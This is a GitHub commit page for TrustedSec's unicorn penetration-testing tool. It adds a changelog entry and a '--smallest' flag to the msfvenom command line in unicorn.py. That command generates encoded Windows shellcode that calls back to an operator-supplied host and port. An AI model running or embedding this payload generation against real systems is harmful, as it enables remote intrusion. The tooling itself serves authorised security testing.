Skip to content

Commit

Permalink
Updated smallest
Browse files Browse the repository at this point in the history
  • Loading branch information
TrustedSec committed Aug 4, 2015
1 parent 557cd61 commit 7bb02ef
Show file tree
Hide file tree
Showing 2 changed files with 7 additions and 1 deletion.
6 changes: 6 additions & 0 deletions CHANGELOG.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1,9 @@
~~~~~~~~~~~~~~~~
version 2.1.1
~~~~~~~~~~~~~~~~

* added --smallest flag to msfvenom generate which compacts shellcode to smaller size

~~~~~~~~~~~~~~~~
version 2.1
~~~~~~~~~~~~~~~~
Expand Down
2 changes: 1 addition & 1 deletion unicorn.py
Original file line number Diff line number Diff line change
Expand Up @@ -281,7 +281,7 @@ def gen_hta_attack(command):
def generate_shellcode(payload, ipaddr, port):
print "[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode..."
port = port.replace("LPORT=", "")
proc = subprocess.Popen("msfvenom -p %s LHOST=%s LPORT=%s StagerURILength=5 StagerVerifySSLCert=false -e x86/shikata_ga_nai -a x86 --platform windows -f c" % (payload, ipaddr, port), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
proc = subprocess.Popen("msfvenom -p %s LHOST=%s LPORT=%s StagerURILength=5 StagerVerifySSLCert=false -e x86/shikata_ga_nai -a x86 --platform windows --smallest -f c" % (payload, ipaddr, port), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
data = proc.communicate()[0]
# start to format this a bit to get it ready
repls = {';': '', ' ': '', '+': '', '"': '', '\n': '', 'buf=': '', 'Found 0 compatible encoders': '', 'unsignedcharbuf[]=': ''}
Expand Down

0 comments on commit 7bb02ef

Please sign in to comment.